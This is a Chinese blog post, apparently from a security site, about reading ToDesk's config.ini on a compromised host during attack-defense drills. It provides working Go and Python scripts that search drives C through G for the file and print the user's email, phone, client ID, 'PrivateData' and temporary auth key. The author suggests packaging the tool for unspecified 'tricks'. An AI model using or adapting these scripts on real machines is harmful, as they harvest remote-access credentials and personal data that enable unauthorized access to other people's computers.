简介
在实际的攻防演练中,常常会出现追踪攻击来源并反制取证的情景,假设我们已经成功连上了目标主机,目标主机如果安装了Todesk,那么恭喜你可以通过查看Todesk目录下的 config.ini 文件来获取一些登录等相关信息。
Todesk 配置文件
- downloadtimes 下载Todesk的时间
- updatePassTime 最近一次使用时间
- Version Todesk版本号
- clientid 客户端ID
- LoginPhone 手机号
- LoginEmail 邮箱账户

只要登录过Todesk,它会把一些信息写入到根目录下的,config.ini配置文件中。

这个跟版本没关系的,即使是最新版的Todesk,也会写到配置文件中,
向日葵 配置文件

向日葵,感兴趣的可以去看一下,里面也有一些信息。
Go Todesk 第一版(默认路径)
// main.go
package main
import (
"bufio"
"fmt"
"os"
"strings"
)
func main() {
config_file := "C:/Program Files/ToDesk/config.ini"
file, err := os.Open(config_file)
if err != nil {
fmt.Printf("Failed to read config file: %v\n", err)
return
}
defer file.Close()
config := make(map[string]string)
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if len(line) == 0 || strings.HasPrefix(line, ";") || strings.HasPrefix(line, "#") {
continue
}
parts := strings.SplitN(line, "=", 2)
if len(parts) != 2 {
continue
}
key, value := strings.TrimSpace(parts[0]), strings.TrimSpace(parts[1])
config[key] = value
}
download_times := config["downloadtimes"]
version := config["Version"]
client_id := config["clientId"]
temp_auth_pass_ex := config["tempAuthPassEx"]
resolution := config["Resolution"]
update_pass_time := config["updatePassTime"]
private_data := config["PrivateData"]
login_phone := config["LoginPhone"]
login_email := config["LoginEmail"]
fmt.Println("*********** 第一版 ***********")
fmt.Printf("电子邮件账户:%s\n", login_email)
fmt.Printf("手机号:%s\n", login_phone)
fmt.Printf("下载时间:%s\n", download_times)
fmt.Printf("最近一次使用ToDesk时间:%s\n", update_pass_time)
fmt.Printf("当前屏幕尺寸:%s\n", resolution)
fmt.Printf("Todesk版本号:%s\n", version)
fmt.Printf("客户端ID:%s\n", client_id)
fmt.Printf("私密数据:%s\n", private_data)
fmt.Printf("临时认证密钥:%s\n", temp_auth_pass_ex)
}你肯会说如果他没安装到默认路径怎么办呢?很简单以下是改进版自动查找路径。
Go Todesk 第二版(自动搜索)
// main.go
package main
import (
"bufio"
"fmt"
"os"
"path/filepath"
"strconv"
"strings"
)
const (
targetFilename = "config.ini"
)
type ConfigInfo struct {
DownloadTimes string
Version string
ClientID string
TempAuthPass string
Resolution string
UpdatePassTime string
PrivateData string
LoginPhone string
LoginEmail string
}
func visit(path string, info os.FileInfo, err error) error {
if !info.IsDir() && info.Name() == targetFilename && strings.Contains(path, "ToDesk") {
configFile, err := os.Open(path)
if err != nil {
fmt.Println(err)
return nil
}
defer configFile.Close()
configInfo := ConfigInfo{}
scanner := bufio.NewScanner(configFile)
for scanner.Scan() {
line := scanner.Text()
if strings.HasPrefix(line, ";") || strings.HasPrefix(line, "#") {
continue
}
pair := strings.SplitN(line, "=", 2)
if len(pair) != 2 {
continue
}
key := strings.TrimSpace(pair[0])
value := strings.TrimSpace(pair[1])
switch key {
case "downloadtimes":
configInfo.DownloadTimes = value
case "Version":
configInfo.Version = value
case "clientId":
configInfo.ClientID = value
case "tempAuthPassEx":
configInfo.TempAuthPass = value
case "Resolution":
configInfo.Resolution = value
case "updatePassTime":
configInfo.UpdatePassTime = value
case "PrivateData":
configInfo.PrivateData = value
case "LoginPhone":
configInfo.LoginPhone = value
case "LoginEmail":
configInfo.LoginEmail = value
default:
}
}
fmt.Println("*********** 第一版 ***********")
fmt.Printf("电子邮件账户:%s\n", configInfo.LoginEmail)
fmt.Printf("手机号:%s\n", configInfo.LoginPhone)
fmt.Printf("下载时间:%s\n", configInfo.DownloadTimes)
fmt.Printf("最近一次使用ToDesk时间:%s\n", configInfo.UpdatePassTime)
fmt.Printf("当前屏幕尺寸:%s\n", configInfo.Resolution)
fmt.Printf("Todesk版本号:%s\n", configInfo.Version)
fmt.Printf("客户端ID:%s\n", configInfo.ClientID)
fmt.Printf("私密数据:%s\n", configInfo.PrivateData)
fmt.Printf("临时认证密钥:%s\n", configInfo.TempAuthPass)
os.Exit(0)
}
return nil
}
func isNumeric(s string) bool {
_, err := strconv.ParseFloat(s, 64)
return err == nil
}
func main() {
driveLetters := []string{"C", "D", "E", "F", "G"}
for _, driveLetter := range driveLetters {
drivePath := fmt.Sprintf("%s:\\", driveLetter)
err := filepath.Walk(drivePath, visit)
if err != nil {
fmt.Printf("访问 %s 目录时出错:%v\n", drivePath, err)
}
}
}好啦,打包一下就能做一些骚操作了。(小声:自己发挥吧)
Python 版本(自动搜索)
import os
import configparser
target_filename = 'config.ini'
target_strings = ['ToDesk']
drive_letters = ['C', 'D', 'E', 'F', 'G']
for drive_letter in drive_letters:
drive_path = f"{drive_letter}:\\"
for dirpath, dirnames, filenames in os.walk(drive_path):
if target_filename in filenames and all(s in dirpath for s in target_strings):
config_path = os.path.join(dirpath, target_filename)
config = configparser.ConfigParser()
config.read(config_path)
download_times = config.get('ConfigInfo', 'downloadtimes')
version = config.get('ConfigInfo', 'Version')
client_id = config.get('ConfigInfo', 'clientId')
temp_auth_pass = config.get('ConfigInfo', 'tempAuthPassEx')
resolution = config.get('ConfigInfo', 'Resolution')
update_pass_time = config.get('ConfigInfo', 'updatePassTime')
private_data = config.get('ConfigInfo', 'PrivateData')
login_phone = config.get('ConfigInfo', 'LoginPhone')
login_email = config.get('ConfigInfo', 'LoginEmail')
print(f"电子邮件账户:{login_email}")
print(f"手机号:{login_phone}")
print(f"下载时间:{download_times}")
print(f"最近一次使用ToDesk时间:{update_pass_time}")
print(f"当前屏幕尺寸:{resolution}")
print(f"Todesk版本号:{version}")
print(f"客户端ID:{client_id}")
print(f"私密数据:{private_data}")
print(f"临时认证密钥:{temp_auth_pass}")
quit()运行效果

评论 (0)